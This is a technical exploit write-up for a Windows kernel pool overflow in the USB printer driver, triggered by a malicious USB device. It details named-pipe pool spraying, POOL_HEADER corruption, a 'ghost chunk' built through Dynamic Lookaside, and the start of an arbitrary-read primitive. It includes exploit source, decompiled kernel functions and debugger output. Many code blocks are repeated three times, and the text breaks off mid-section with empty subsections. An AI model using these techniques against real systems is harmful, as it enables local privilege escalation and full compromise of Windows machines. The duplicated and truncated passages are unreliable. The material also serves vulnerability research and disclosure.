            io->inner.length = string_desc_product_len;
            return true

case USB_DT_STRING:
{
    int idx = event->ctrl.wValue & 0xFF;
    switch (idx)
    {
        case STRING_ID_MANUFACTURER:
            memcpy(&io->data[0], string_desc_mfg, string_desc_mfg_len);
            io->inner.length = string_desc_mfg_len;
            return true;
        case STRING_ID_PRODUCT:
            memcpy(&io->data[0], string_desc_product, string_desc_product_len);
            io->inner.length = string_desc_product_len;
            return true

3.2.5 Vulnerability Trigger Scenario

4. Exploitation

4.1 Restriction Analysis

Before developing the exploitation, we first explain the restrictions of this vulnerability.

Pool Type: In the ExAllocatePool2 call at [7], the flag value is 0x40 (POOL_FLAG_NON_PAGED). The overflow occurs in the NonPagedPoolNx pool type.

Data Restriction: The null-terminated ASCII string created by RtlStringCbPrintfA at [8] is the copy target. We cannot insert NULL bytes (0x00) in the middle of the payload, and the null terminator exists only at the end. However, since the overflow data corresponds to the last part of the MDL string descriptor, the USB device can place arbitrary data. The actual values depend on the exploitation strategy.

Overflow Size: In this vulnerability, there are two variables that determine the overflow size:

  • v13 = MFG_len + MDL_len + 11: This value is determined by the lengths of MFG and MDL in the USB string descriptor. Each can be up to 253 characters, so the maximum value of v13 is 253 + 253 + 11 = 517 = 0x205, and it must satisfy the condition v13 ≤ 0x209.

  • OutputBufferLength: It is determined by the userland process when calling DeviceIoControl. In the IopXxxControlFile function, the SystemBuffer is allocated using ExAllocatePool2(0x69, max(InputBufferLength, OutputBufferLength), 'IoSB'), so this value determines the allocation size. Since IOCTL 0x220064 does not use an input buffer, the size is equal to OutputBufferLength. In the USBPRINT_ProcessIOCTL function, the length must be at least 1, because if the length is 0, it returns an error.

The actual copy is performed by memmove(a2 + 2, v16, v13) at [9]. Since the bLength field of a USB string descriptor is a uint8, its maximum value is 0xFF (255). The WCHAR data length is (bLength - 2) / 2, but if bLength is odd (e.g., 0xFF), the remaining 1 byte can be combined with the next byte of the zero-initialized buffer and counted as a non-zero WCHAR. Therefore, up to 127 WCHARs are possible per string, and the maximum value of v13 is 127 + 127 + 11 = 265 = 0x109. As a result, memmove copies up to 0x109 bytes. The overflow size can be calculated as (v13 + 2) - OutputBufferLength, and since both v13 and OutputBufferLength are controllable by the attacker, the overflow size can be freely controlled.

CACHE_ALIGNED Allocation: There is one more point to consider. IOCTL 0x220064 uses METHOD_BUFFERED, and in the DeviceIoControl path, the I/O manager allocates the SystemBuffer with the CACHE_ALIGNED flag:

__int64 __fastcall IopXxxControlFile(HANDLE Handle, ...) {
    ...
    if ( (_DWORD)InputBufferLength || OutputBufferLength )
    {
        ...
        v55 = 0x69;  // POOL_FLAG_NON_PAGED | RAISE_ON_FAILURE | CACHE_ALIGNED | USE_QUOTA
        ExAllocatePool2(v55, max(InputBufferLength, OutputBufferLength), 'IoSB');
        ...
    }
    ...
}
__int64 __fastcall IopXxxControlFile(HANDLE Handle, ...) {
    ...
    if ( (_DWORD)InputBufferLength || OutputBufferLength )
    {
        ...
        v55 = 0x69;  // POOL_FLAG_NON_PAGED | RAISE_ON_FAILURE | CACHE_ALIGNED | USE_QUOTA
        ExAllocatePool2(v55, max(InputBufferLength, OutputBufferLength), 'IoSB');
        ...
    }
    ...
}
__int64 __fastcall IopXxxControlFile(HANDLE Handle, ...) {
    ...
    if ( (_DWORD)InputBufferLength || OutputBufferLength )
    {
        ...
        v55 = 0x69;  // POOL_FLAG_NON_PAGED | RAISE_ON_FAILURE | CACHE_ALIGNED | USE_QUOTA
        ExAllocatePool2(v55, max(InputBufferLength, OutputBufferLength), 'IoSB');
        ...
    }
    ...
}

In CACHE_ALIGNED allocation, the returned pointer is aligned to a cache line (0x40) boundary. The allocator rounds the request up by 0x10 for the pool header and adds another 0x40 of slack so it can place the user data at a 0x40-aligned position within the block. The space between the POOL_HEADER and the aligned pointer is the alignment padding (meta). Although the rounding itself is deterministic, the resulting meta depends on where the selected block starts inside its LFH subsegment. Since LFH subsegments are page-aligned and each block is laid out at a fixed block_size stride, a bucket whose block_size is not a multiple of 0x40 produces block starts that cycle through {0x00, 0x10, 0x20, 0x30} mod 0x40, and meta ends up cycling through the same four values as the LFH picks different free slots. Therefore, the exact overflow size depends on meta:

overflow = (v13 + 2) - (block_size - 0x10 - meta)
overflow = (v13 + 2) - (block_size - 0x10 - meta)
overflow = (v13 + 2) - (block_size - 0x10 - meta)

In summary, since both v13 and OutputBufferLength are controllable by the attacker, the overflow size can be controlled within a desired range. The only catch is that for buckets whose block_size is not a 0x40 multiple, meta behaves as if it were randomized by the LFH slot lottery. A clean way to sidestep this entirely is to pick OutputBufferLength so that the allocation lands in a bucket whose block_size is a multiple of 0x40 — in such buckets every slot is already 0x40-aligned, and meta collapses to a compile-time constant. The next section walks through that choice.

4.2 Pool Feng Shui

To reliably exploit this overflow vulnerability, the chunk where the overflow occurs must be located next to an attacker-controlled object, so we use a Named Pipe pool spray to manipulate the heap layout.

4.2.1 Select Overflow Size

As summarized in Section 4.1, v13 (the size of the data to copy) and OutputBufferLength (the size of the destination buffer) can be chosen by the attacker. We used the following values:

  • MFG 110, MDL 75v13 = 110 + 75 + 11 = 196 = 0xC4

  • OutputBufferLength = 0xB0

Adding the pool header (0x10) and the CACHE_ALIGNED overhead (0x40) to OutputBufferLength brings the effective allocation size to exactly 0x100, which places it in the LFH 0x100 bucket. Because 0x100 mod 0x40 == 0, every block start in the selected subsegment is already 0x40-aligned, so meta is fixed at 0x30 for every single attempt. The overflow becomes (v13 + 2) - (0x100 - 0x10 - 0x30) = 0xC6 - 0xC0 = 6 bytes on every run, which is exactly enough to rewrite the adjacent POOL_HEADER and nothing more.

In typical Named Pipe exploits, primitives are obtained by directly corrupting adjacent DATA_QUEUE_ENTRY (DQE) fields via overflow. Since the overflow size can be increased arbitrarily by adjusting v13 and OutputBufferLength, reaching the DQE is feasible. The problem is the NULL-byte constraint mentioned in Section 4.1. Because the overflow data is generated as ASCII output by RtlStringCbPrintfA, NULL bytes (0x00) cannot be inserted in the middle. However, meaningful manipulation of pointer fields in the DQE (Flink, Irp) requires NULL bytes.

In contrast, the POOL_HEADER consists of 1-byte fields (PreviousSize, PoolIndex, BlockSize, PoolType), allowing precise control without NULL bytes. Therefore, we chose to corrupt the POOL_HEADER to manipulate the behavior of ExFreePool. The specific modifications are discussed in the next section.

4.2.2 LFH Bucket Alignment

The SystemBuffer (IoSB) of the IOCTL is allocated as follows:

// ntoskrnl!IopXxxControlFile
__int64 __fastcall IopXxxControlFile(HANDLE Handle, ...) {
    ...
    if ( (_DWORD)InputBufferLength || OutputBufferLength )
    {
        ...
        v55 = 0x69;  // NON_PAGED | RAISE_ON_FAILURE | CACHE_ALIGNED | USE_QUOTA
        ExAllocatePool2(v55, max(InputBufferLength, OutputBufferLength), 'IoSB');
        ...
    }
    ...
}
// OutputBufferLength = 0xB0, CACHE_ALIGNED → +0x40 → effective size 0x100 → 0x100 bucket
// ntoskrnl!IopXxxControlFile
__int64 __fastcall IopXxxControlFile(HANDLE Handle, ...) {
    ...
    if ( (_DWORD)InputBufferLength || OutputBufferLength )
    {
        ...
        v55 = 0x69;  // NON_PAGED | RAISE_ON_FAILURE | CACHE_ALIGNED | USE_QUOTA
        ExAllocatePool2(v55, max(InputBufferLength, OutputBufferLength), 'IoSB');
        ...
    }
    ...
}
// OutputBufferLength = 0xB0, CACHE_ALIGNED → +0x40 → effective size 0x100 → 0x100 bucket
// ntoskrnl!IopXxxControlFile
__int64 __fastcall IopXxxControlFile(HANDLE Handle, ...) {
    ...
    if ( (_DWORD)InputBufferLength || OutputBufferLength )
    {
        ...
        v55 = 0x69;  // NON_PAGED | RAISE_ON_FAILURE | CACHE_ALIGNED | USE_QUOTA
        ExAllocatePool2(v55, max(InputBufferLength, OutputBufferLength), 'IoSB');
        ...
    }
    ...
}
// OutputBufferLength = 0xB0, CACHE_ALIGNED → +0x40 → effective size 0x100 → 0x100 bucket

When WriteFile is called on a Named Pipe, npfs allocates a DQE:

// npfs!NpAddDataQueueEntry
__int64 __fastcall NpAddDataQueueEntry(int a1, ..., size_t Size, ...) {
    ...
    v16 = Size + 48;                              // DQE header 0x30 + data
    ...
    v20 = ExAllocatePool2(65, v16, 1917218894);   // 0x41, Size + 0x30, 'NpFr'
    ...
    memmove((void *)(v20 + 48), v24, v17);        // copy data to DQE+0x30
    ...
}
// 0x41 = NON_PAGED | USE_QUOTA (no CACHE_ALIGNED)
// data_size = 0xC0 -> 0xC0 + 0x30 = 0xF0 -> 0x100 bucket
// npfs!NpAddDataQueueEntry
__int64 __fastcall NpAddDataQueueEntry(int a1, ..., size_t Size, ...) {
    ...
    v16 = Size + 48;                              // DQE header 0x30 + data
    ...
    v20 = ExAllocatePool2(65, v16, 1917218894);   // 0x41, Size + 0x30, 'NpFr'
    ...
    memmove((void *)(v20 + 48), v24, v17);        // copy data to DQE+0x30
    ...
}
// 0x41 = NON_PAGED | USE_QUOTA (no CACHE_ALIGNED)
// data_size = 0xC0 -> 0xC0 + 0x30 = 0xF0 -> 0x100 bucket
// npfs!NpAddDataQueueEntry
__int64 __fastcall NpAddDataQueueEntry(int a1, ..., size_t Size, ...) {
    ...
    v16 = Size + 48;                              // DQE header 0x30 + data
    ...
    v20 = ExAllocatePool2(65, v16, 1917218894);   // 0x41, Size + 0x30, 'NpFr'
    ...
    memmove((void *)(v20 + 48), v24, v17);        // copy data to DQE+0x30
    ...
}
// 0x41 = NON_PAGED | USE_QUOTA (no CACHE_ALIGNED)
// data_size = 0xC0 -> 0xC0 + 0x30 = 0xF0 -> 0x100 bucket

We can perform a named pipe spray as follows. When 0xC0 bytes are written via WriteFile, an NpFr allocation of size 0xF0 occurs in the kernel (since NpAddDataQueueEntry prepends a 0x30-byte DQE header), and it is placed in the same LFH 0x100 bucket as IoSB.

// usb-xpl.cpp
#define SPRAY_PIPE_DATA  0xC0
BOOL CreateSprayPipe(PIPE_HANDLES* ph, DWORD pipe_buf_size) {
    WCHAR name[64];
    wsprintfW(name, L"\\\\\\\\.\\\\pipe\\\\ghost_%d", g_pipe_id++);
    ph->w = CreateNamedPipeW(name, PIPE_ACCESS_OUTBOUND,
        PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
        1, pipe_buf_size, pipe_buf_size, 0, NULL);
    ph->r = CreateFileW(name, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
    return TRUE;
}

BOOL WritePipe(PIPE_HANDLES* ph, const void* data, DWORD len) {
    DWORD written;
    return WriteFile(ph->w, data, len, &written, NULL);
    // -> kernel: NpAddDataQueueEntry → ExAllocatePool2(0x41, 0xF0, 'NpFr')
}
// usb-xpl.cpp
#define SPRAY_PIPE_DATA  0xC0
BOOL CreateSprayPipe(PIPE_HANDLES* ph, DWORD pipe_buf_size) {
    WCHAR name[64];
    wsprintfW(name, L"\\\\\\\\.\\\\pipe\\\\ghost_%d", g_pipe_id++);
    ph->w = CreateNamedPipeW(name, PIPE_ACCESS_OUTBOUND,
        PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
        1, pipe_buf_size, pipe_buf_size, 0, NULL);
    ph->r = CreateFileW(name, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
    return TRUE;
}

BOOL WritePipe(PIPE_HANDLES* ph, const void* data, DWORD len) {
    DWORD written;
    return WriteFile(ph->w, data, len, &written, NULL);
    // -> kernel: NpAddDataQueueEntry → ExAllocatePool2(0x41, 0xF0, 'NpFr')
}
// usb-xpl.cpp
#define SPRAY_PIPE_DATA  0xC0
BOOL CreateSprayPipe(PIPE_HANDLES* ph, DWORD pipe_buf_size) {
    WCHAR name[64];
    wsprintfW(name, L"\\\\\\\\.\\\\pipe\\\\ghost_%d", g_pipe_id++);
    ph->w = CreateNamedPipeW(name, PIPE_ACCESS_OUTBOUND,
        PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
        1, pipe_buf_size, pipe_buf_size, 0, NULL);
    ph->r = CreateFileW(name, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
    return TRUE;
}

BOOL WritePipe(PIPE_HANDLES* ph, const void* data, DWORD len) {
    DWORD written;
    return WriteFile(ph->w, data, len, &written, NULL);
    // -> kernel: NpAddDataQueueEntry → ExAllocatePool2(0x41, 0xF0, 'NpFr')
}

4.2.3 Stabilizing Spray via CPU Pinning

LFH uses a per-CPU affinity slot structure. By analyzing the RtlpHpLfhBucketActivate function, we can observe that when an LFH bucket is activated, owner slots are created for each CPU.

__int64 __fastcall RtlpHpLfhBucketActivate(__int64 a1, unsigned int a2)
{
    ...
    v9 = (RtlpHpLfhPerfFlags & 0x20) != 0
         ? *(unsigned __int8 *)(a1 + 64)   // ProcessorCount
         : 1;                              // single owner  // [1]
    ...
    do {
        RtlpHpLfhSlotInitialize(v12, v11, a1);              // [2]
        ...
    } while ( v10 );
    ...
}
__int64 __fastcall RtlpHpLfhBucketActivate(__int64 a1, unsigned int a2)
{
    ...
    v9 = (RtlpHpLfhPerfFlags & 0x20) != 0
         ? *(unsigned __int8 *)(a1 + 64)   // ProcessorCount
         : 1;                              // single owner  // [1]
    ...
    do {
        RtlpHpLfhSlotInitialize(v12, v11, a1);              // [2]
        ...
    } while ( v10 );
    ...
}
__int64 __fastcall RtlpHpLfhBucketActivate(__int64 a1, unsigned int a2)
{
    ...
    v9 = (RtlpHpLfhPerfFlags & 0x20) != 0
         ? *(unsigned __int8 *)(a1 + 64)   // ProcessorCount
         : 1;                              // single owner  // [1]
    ...
    do {
        RtlpHpLfhSlotInitialize(v12, v11, a1);              // [2]
        ...
    } while ( v10 );
    ...
}

At [1], it checks bit 5 of RtlpHpLfhPerfFlags. If this bit is set, owners are created per CPU; otherwise, only a single owner is created. At [2], each owner is initialized. Since each owner manages an independent subsegment chain, allocations to the same bucket on different CPUs are placed in different subsegments.

To address this issue, we pin the spray thread to a single CPU using SetThreadAffinityMask. This ensures that all spray allocations are concentrated in the same owner’s subsegment chain, increasing the likelihood of adjacent placement.

4.2.4 Spray Layout

The ideal pool layout after a successful spray is as follows. The block immediately following IoSB should be an NpFr pipe.

0: kd> !pool rcx
 ffffd8835460c900 size:  100 previous size:    0  (Allocated)  NpFr Process: ffffd883489a8080
*ffffd8835460ca00 size:  100 previous size:    0  (Allocated) *IoSB Process: ffffd883489a8080
		Pooltag IoSB : Io system buffer, Binary : nt!io
 ffffd8835460cb00 size:  100 previous size:    0  (Allocated)  NpFr Process: ffffd883489a8080
0: kd> !pool rcx
 ffffd8835460c900 size:  100 previous size:    0  (Allocated)  NpFr Process: ffffd883489a8080
*ffffd8835460ca00 size:  100 previous size:    0  (Allocated) *IoSB Process: ffffd883489a8080
		Pooltag IoSB : Io system buffer, Binary : nt!io
 ffffd8835460cb00 size:  100 previous size:    0  (Allocated)  NpFr Process: ffffd883489a8080
0: kd> !pool rcx
 ffffd8835460c900 size:  100 previous size:    0  (Allocated)  NpFr Process: ffffd883489a8080
*ffffd8835460ca00 size:  100 previous size:    0  (Allocated) *IoSB Process: ffffd883489a8080
		Pooltag IoSB : Io system buffer, Binary : nt!io
 ffffd8835460cb00 size:  100 previous size:    0  (Allocated)  NpFr Process: ffffd883489a8080

When the overflow occurs, 6 bytes of the POOL_HEADER of the next block (NpFr) after IoSB are overwritten with the last bytes of the MDL string descriptor. The following shows the modified POOL_HEADER after the overflow.

0: kd> dt nt!_POOL_HEADER ffffd8835460cb00
   +0x000 PreviousSize     : 0y00001100 (0xc)
   +0x000 PoolIndex        : 0y00000001 (0x1)
   +0x002 BlockSize        : 0y00010000 (0x10)
   +0x002 PoolType         : 0y00000110 (0x6)
   +0x000 Ulong1           : 0x610010c
   +0x004 PoolTag          : 0x7246003b
   +0x008 ProcessBilled    : 0x48888ac2`4205eb99 _EPROCESS
   +0x008 AllocatorBackTraceIndex : 0xeb99
   +0x00a PoolTagHash      : 0x4205
0: kd> dt nt!_POOL_HEADER ffffd8835460cb00
   +0x000 PreviousSize     : 0y00001100 (0xc)
   +0x000 PoolIndex        : 0y00000001 (0x1)
   +0x002 BlockSize        : 0y00010000 (0x10)
   +0x002 PoolType         : 0y00000110 (0x6)
   +0x000 Ulong1           : 0x610010c
   +0x004 PoolTag          : 0x7246003b
   +0x008 ProcessBilled    : 0x48888ac2`4205eb99 _EPROCESS
   +0x008 AllocatorBackTraceIndex : 0xeb99
   +0x00a PoolTagHash      : 0x4205
0: kd> dt nt!_POOL_HEADER ffffd8835460cb00
   +0x000 PreviousSize     : 0y00001100 (0xc)
   +0x000 PoolIndex        : 0y00000001 (0x1)
   +0x002 BlockSize        : 0y00010000 (0x10)
   +0x002 PoolType         : 0y00000110 (0x6)
   +0x000 Ulong1           : 0x610010c
   +0x004 PoolTag          : 0x7246003b
   +0x008 ProcessBilled    : 0x48888ac2`4205eb99 _EPROCESS
   +0x008 AllocatorBackTraceIndex : 0xeb99
   +0x00a PoolTagHash      : 0x4205

The roles of each field are as follows:

  • PreviousSize = 0x0C: This value is used in the cache-aligned backward step of ExFreePoolWithTag, causing a backward movement of 0x0C × 0x10 = 0xC0.

  • PoolType = 0x06: Bit 2 (CacheAligned) is set, which triggers the backward step. In this case, bit 3 (PoolQuota) must be cleared. This will be explained in detail in Section 4.3.1.

These two values are controlled by the tail of the MDL string descriptor from the USB device.

4.3 Ghost Chunk

In Section 4.2, we corrupted the POOL_HEADER of the adjacent block via overflow. Now, we explain how to create a "Ghost Chunk" using this corrupted POOL_HEADER. The Ghost Chunk technique is based on the Aligned Chunk Confusion attack introduced in Synacktiv’s "Scoop the Windows 10 pool!" paper.

4.3.1 CacheAligned Backward Step

In the Windows Segment Heap, chunks allocated with the CACHE_ALIGNED flag undergo special handling during free. By analyzing the ExFreePoolWithTag function, we can observe that when bit 2 (CacheAligned) of PoolType is set, the original allocation base is calculated using PreviousSize.

void __stdcall ExFreePoolWithTag(PVOID P, ULONG Tag)
{
    ...
    v9 = *(_BYTE *)(v4 - 13);
    v10 = v4 - 16;
    ...
    if ( (v9 & 8) == 0 )                                  // [1]
        goto LABEL_12;
    v89 = v4 - 16;
    if ( (v9 & 4) != 0 )
        v89 = v10 - 16LL * (unsigned __int8)*(_WORD *)v10;
    v90 = ExpPoolQuotaCookie ^ *(_QWORD *)(v89 + 8) ^ v89; // [2]
    if ( !v90 || v90 == -1 )
        goto LABEL_12;
    ...
    if ( (unsigned __int64)v90 < 0xFFFF800000000000uLL || (v90->Header.Type & 0x7F) != 3 )
        KeBugCheckEx(0xC2u, 0xDu, ...);                    // [3]
    ...
LABEL_12:
    if ( (*(_BYTE *)(v10 + 3) & 4) != 0 )                 // [4]
    {
        v10 += -16LL * (unsigned __int8)*(_WORD *)v10;      // [5]
        *(_BYTE *)(v10 + 3) |= 4u;
    }
    ...
    v21 = 16LL * (unsigned __int8)*(_WORD *)(v10 + 2);      // [6]
    ...
}
void __stdcall ExFreePoolWithTag(PVOID P, ULONG Tag)
{
    ...
    v9 = *(_BYTE *)(v4 - 13);
    v10 = v4 - 16;
    ...
    if ( (v9 & 8) == 0 )                                  // [1]
        goto LABEL_12;
    v89 = v4 - 16;
    if ( (v9 & 4) != 0 )
        v89 = v10 - 16LL * (unsigned __int8)*(_WORD *)v10;
    v90 = ExpPoolQuotaCookie ^ *(_QWORD *)(v89 + 8) ^ v89; // [2]
    if ( !v90 || v90 == -1 )
        goto LABEL_12;
    ...
    if ( (unsigned __int64)v90 < 0xFFFF800000000000uLL || (v90->Header.Type & 0x7F) != 3 )
        KeBugCheckEx(0xC2u, 0xDu, ...);                    // [3]
    ...
LABEL_12:
    if ( (*(_BYTE *)(v10 + 3) & 4) != 0 )                 // [4]
    {
        v10 += -16LL * (unsigned __int8)*(_WORD *)v10;      // [5]
        *(_BYTE *)(v10 + 3) |= 4u;
    }
    ...
    v21 = 16LL * (unsigned __int8)*(_WORD *)(v10 + 2);      // [6]
    ...
}
void __stdcall ExFreePoolWithTag(PVOID P, ULONG Tag)
{
    ...
    v9 = *(_BYTE *)(v4 - 13);
    v10 = v4 - 16;
    ...
    if ( (v9 & 8) == 0 )                                  // [1]
        goto LABEL_12;
    v89 = v4 - 16;
    if ( (v9 & 4) != 0 )
        v89 = v10 - 16LL * (unsigned __int8)*(_WORD *)v10;
    v90 = ExpPoolQuotaCookie ^ *(_QWORD *)(v89 + 8) ^ v89; // [2]
    if ( !v90 || v90 == -1 )
        goto LABEL_12;
    ...
    if ( (unsigned __int64)v90 < 0xFFFF800000000000uLL || (v90->Header.Type & 0x7F) != 3 )
        KeBugCheckEx(0xC2u, 0xDu, ...);                    // [3]
    ...
LABEL_12:
    if ( (*(_BYTE *)(v10 + 3) & 4) != 0 )                 // [4]
    {
        v10 += -16LL * (unsigned __int8)*(_WORD *)v10;      // [5]
        *(_BYTE *)(v10 + 3) |= 4u;
    }
    ...
    v21 = 16LL * (unsigned __int8)*(_WORD *)(v10 + 2);      // [6]
    ...
}

At [1], it checks bit 3 (PoolQuota) of PoolType. If this bit is set, the ProcessBilled pointer is decoded using ExpPoolQuotaCookie at [2], and validated as a valid EPROCESS at [3]. Since the ProcessBilled field in the corrupted POOL_HEADER does not contain a valid value, a BSOD will occur if bit 3 is set. Therefore, PoolType must be 0x06 (only bit 2 set), and 0x0E (bit 2 + bit 3) must not be used.

After passing [1], it checks bit 2 (CacheAligned) of PoolType at [4]. Since this bit is set in the corrupted PoolType (0x06), a backward step of PreviousSize × 0x10 is performed at [5]. With the corrupted PreviousSize = 0x0C, it moves backward by 0x0C × 0x10 = 0xC0 bytes. At [6], it reads the BlockSize from the POOL_HEADER at the new location and calculates the free size.

The landing position of this backward step is the key point of the exploit. Let’s revisit the block layout at the time of the overflow.

Block N+1 (IoSB freed Respray):  [slot+0x100 --- slot+0x200]
  +0x00: POOL_HEADER
  +0x10: DQE
  +0x40: pipe_data data[0x00] = fake POOL_HEADER (BlockSize=0x21)
  
Block N+2 (NpFr):    [slot+0x200 --- slot+0x300]
  +0x00: POOL_HEADER CORRUPTED (PreviousSize=0x0C, PoolType=0x06)
Block N+1 (IoSB freed Respray):  [slot+0x100 --- slot+0x200]
  +0x00: POOL_HEADER
  +0x10: DQE
  +0x40: pipe_data data[0x00] = fake POOL_HEADER (BlockSize=0x21)
  
Block N+2 (NpFr):    [slot+0x200 --- slot+0x300]
  +0x00: POOL_HEADER CORRUPTED (PreviousSize=0x0C, PoolType=0x06)
Block N+1 (IoSB freed Respray):  [slot+0x100 --- slot+0x200]
  +0x00: POOL_HEADER
  +0x10: DQE
  +0x40: pipe_data data[0x00] = fake POOL_HEADER (BlockSize=0x21)
  
Block N+2 (NpFr):    [slot+0x200 --- slot+0x300]
  +0x00: POOL_HEADER CORRUPTED (PreviousSize=0x0C, PoolType=0x06)

When the IOCTL returns, the kernel frees IoSB, leaving the Block N+1 slot empty. By placing a respray pipe in this slot, we can insert a fake POOL_HEADER at the first byte of the pipe data (data[0x00]). When Block N+2 is freed, the backward step lands at N+2_hdr (slot + 0x200) - 0xC0 = slot + 0x140 = N+1 block + 0x40, which corresponds to the fake POOL_HEADER of the respray pipe.

4.3.2 Ghost Free via Dynamic Lookaside

After the backward step, at [6], it reads the BlockSize (0x21) from the fake POOL_HEADER and calculates the free size as 0x21 × 0x10 = 0x210. This results in a 0x210-byte "ghost chunk" being freed.

It is important where this chunk is freed. In the later part of ExFreePoolWithTag, we can observe the Dynamic Lookaside branch.

    ...
    v39 = *(_QWORD *)(v8 + 56);                            // [1]

    if ( BugCheckParameter3 - 513 > 0xD7F                   // [2]
        || !v39                                             // [3]
        || (/* depth check */) )
    {
        // fall through → VS FreeChunkTree
    }
    else
    {
        RtlpInterlockedPushEntrySList(v149, v10);           // [4]
    }
    ...
    v39 = *(_QWORD *)(v8 + 56);                            // [1]

    if ( BugCheckParameter3 - 513 > 0xD7F                   // [2]
        || !v39                                             // [3]
        || (/* depth check */) )
    {
        // fall through → VS FreeChunkTree
    }
    else
    {
        RtlpInterlockedPushEntrySList(v149, v10);           // [4]
    }
    ...
    v39 = *(_QWORD *)(v8 + 56);                            // [1]

    if ( BugCheckParameter3 - 513 > 0xD7F                   // [2]
        || !v39                                             // [3]
        || (/* depth check */) )
    {
        // fall through → VS FreeChunkTree
    }
    else
    {
        RtlpInterlockedPushEntrySList(v149, v10);           // [4]
    }

At [1], it reads the UserContext field of _SEGMENT_HEAP, which points to the Dynamic Lookaside structure. At [2], it checks whether the free size falls within the range [0x201, 0xF80]. Since 0x210 - 0x201 = 0x0F ≤ 0xD7F, the condition is satisfied. At [3], if the Dynamic Lookaside exists and has available depth, it is pushed into the SList at [4].

Once pushed into the Lookaside SList, subsequent allocation requests of the same size (0x210) will pop and return the exact same address. If the chunk is freed into the VS FreeChunkTree instead, it may be merged with adjacent chunks, causing ghost reclaim to fail. Therefore, entering the Lookaside path is essential.

For Dynamic Lookaside to be activated, the Balance Set Manager (BSM) must recognize frequent allocations and frees for the corresponding bucket. This mechanism can be observed by analyzing the RtlpDynamicLookasideRebalance function.

__int64 __fastcall RtlpDynamicLookasideRebalance(__int64 *a1)
{
    ...
    do {
        v9 = v7 + *v6 - v6[4];                             // [1]
        v6 += 16;
        ...
    } while ( v2 < (unsigned int)v1 );

    qsort(Base, v1, 8u, RtlpDynamicLookasideBucketCompare); // [2]

    ...
    do {
        if ( v13[1] >= 0x19 )                               // [3]
            v12 |= 1LL << *v13;
        ...
    } while ( --v14 );

    *a1 = v12;                                              // [4]
    ...
}
__int64 __fastcall RtlpDynamicLookasideRebalance(__int64 *a1)
{
    ...
    do {
        v9 = v7 + *v6 - v6[4];                             // [1]
        v6 += 16;
        ...
    } while ( v2 < (unsigned int)v1 );

    qsort(Base, v1, 8u, RtlpDynamicLookasideBucketCompare); // [2]

    ...
    do {
        if ( v13[1] >= 0x19 )                               // [3]
            v12 |= 1LL << *v13;
        ...
    } while ( --v14 );

    *a1 = v12;                                              // [4]
    ...
}
__int64 __fastcall RtlpDynamicLookasideRebalance(__int64 *a1)
{
    ...
    do {
        v9 = v7 + *v6 - v6[4];                             // [1]
        v6 += 16;
        ...
    } while ( v2 < (unsigned int)v1 );

    qsort(Base, v1, 8u, RtlpDynamicLookasideBucketCompare); // [2]

    ...
    do {
        if ( v13[1] >= 0x19 )                               // [3]
            v12 |= 1LL << *v13;
        ...
    } while ( --v14 );

    *a1 = v12;                                              // [4]
    ...
}

At [1], it calculates the allocation/free frequency for each bucket, and at [2], it sorts them by frequency. At [3], only buckets with a frequency of at least 25 (0x19) are selected, and at [4], they are set in the EnabledBucketBitmap. The BSM performs this rebalance approximately once per second.

Therefore, at the start of the exploit, it is necessary to perform sufficient alloc/free operations of size 0x210 to pre-activate the corresponding bucket. We followed the EnableLookaside pattern used in vp777’s CVE-2020-17087 exploit, performing 0x1000 pipe alloc/free operations for two rounds, and then waiting for the BSM rebalance.

4.3.3 Ghost Reclaim and Overlap

After the ghost chunk (0x210) is pushed into the Lookaside SList, creating a Named Pipe of the same size results in it being popped at the exact same address. This behavior can be observed in the lookaside pop path of the ExAllocateHeapPool function.

    ...
    if ( *(_WORD *)lookaside_entry > 0 )                          // [1]
    {
        result = RtlpInterlockedPopEntrySList(lookaside_entry);   // [2]
    }
    ...
    ...
    if ( *(_WORD *)lookaside_entry > 0 )                          // [1]
    {
        result = RtlpInterlockedPopEntrySList(lookaside_entry);   // [2]
    }
    ...
    ...
    if ( *(_WORD *)lookaside_entry > 0 )                          // [1]
    {
        result = RtlpInterlockedPopEntrySList(lookaside_entry);   // [2]
    }
    ...

At [1], it checks whether the SList is not empty, and at [2], it pops an entry. The WritePipe(0x1D0) call of the ghost pipe leads to NpAddDataQueueEntryExAllocatePool2(0x200) → allocation of a 0x210 block, and at [2], it returns the address of the previously pushed ghost chunk.

At this point, the NpFr block of the ghost pipe physically overlaps with the data region of the respray pipe.

respray pipe (Block N+1):
  +0x40: pipe_data[0xC0]
         data[0x00]: ghost pool header
         data[0x10]: ghost DQE.Flink = kernel address 
         data[0x18]: ghost DQE.Blink = kernel address

ghost pipe NpFr:
  +0x00: [PH 0x10][DQE 0x30][data 0x1D0] = 0x210
respray pipe (Block N+1):
  +0x40: pipe_data[0xC0]
         data[0x00]: ghost pool header
         data[0x10]: ghost DQE.Flink = kernel address 
         data[0x18]: ghost DQE.Blink = kernel address

ghost pipe NpFr:
  +0x00: [PH 0x10][DQE 0x30][data 0x1D0] = 0x210
respray pipe (Block N+1):
  +0x40: pipe_data[0xC0]
         data[0x00]: ghost pool header
         data[0x10]: ghost DQE.Flink = kernel address 
         data[0x18]: ghost DQE.Blink = kernel address

ghost pipe NpFr:
  +0x00: [PH 0x10][DQE 0x30][data 0x1D0] = 0x210

When PeekNamedPipe is called on the respray pipe, the kernel reads from the data region pointed to by the respray’s DQE (+0x40). Since this region overlaps with the NpFr block of the ghost pipe, the Flink value written by the kernel into the ghost pipe’s DQE can be read from user mode. This Flink value is the kernel address of the OutQueue list head in the ghost pipe’s CCB, and it serves as the starting point for arbitrary read/write.

4.4 Arbitrary Read

After leaking the kernel pointer, we construct an arbitrary read primitive by manipulating the ghost pipe’s DQE.

4.4.1 Ghost DQE Rewrite

When the respray pipe is freed via ReadFile, the corresponding LFH slot is released. By allocating a new pipe (rewrite pipe) in this slot, we overwrite the ghost DQE with desired values:




4.4.2 Arbitrary Address Read using Fake IRP

The fake IRP is constructed in a user-space page allocated with VirtualAlloc. The kernel address to read is set in AssociatedIrp.SystemBuffer (+0x18).

When PeekNamedPipe is called on the ghost pipe, npfs!NpReadDataQueue follows the EntryType=1 path and reads data from the IRP’s SystemBuffer, copying it to the user buffer:

// npfs!NpReadDataQueue (EntryType == 1 branch)
